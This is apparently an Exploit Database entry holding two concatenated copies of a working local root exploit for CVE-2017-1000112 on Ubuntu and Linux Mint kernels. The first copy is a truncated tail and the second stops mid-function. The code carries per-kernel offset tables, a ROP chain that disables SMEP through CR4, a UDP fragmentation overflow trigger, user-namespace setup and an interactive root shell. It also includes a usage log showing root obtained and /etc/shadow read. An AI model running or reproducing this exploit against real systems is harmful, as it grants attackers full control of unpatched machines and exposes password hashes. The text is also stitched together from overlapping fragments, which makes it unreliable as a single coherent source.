ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
printf("[.] starting\n");
printf("[.] checking distro and kernel versions\n");
detect_versions();
printf("[~] done, versions looks good\n");
printf("[.] checking SMEP and SMAP\n");
check_smep_smap();
printf("[~] done, looks good\n");
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[~] done, fake stack mmapped\n");
#endif
printf("[.] executing payload %lx\n", payload);
oob_execute(payload);
printf("[~] done, should be root now\n");
check_root();
return 0;
}
Exploit Database EDB-ID : 47169
Publication date : 2018-12-28 23h00 +00:00
Author : bcoles
EDB Verified : No
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking kernel version
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for distros based on Ubuntu kernel
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
char* SHELL = "/bin/bash";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_kernel().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
dprintf("[-] mmap()\n");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
dprintf("[-] socket()\n");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
dprintf("[-] connect()\n");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
dprintf("[-] send()\n");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
char* path = "/etc/lsb-release";
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= max_length) {
exit(EXIT_FAILURE);
}
if ((found - &buffer[0]) + needle_length + i >= length) {
exit(EXIT_FAILURE);
}
output[i] = found[needle_length + i];
}
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
void detect_kernel() {
char codename[DISTRO_CODENAME_LENGTH];
struct utsname u;
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "14.04.1")) {
strcpy(&codename[0], "trusty");
} else if (strstr(u.version, "16.04.1")) {
strcpy(&codename[0], "xenial");
} else {
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
// Linux Mint kernel release mappings
if (!strcmp(&codename[0], "qiana"))
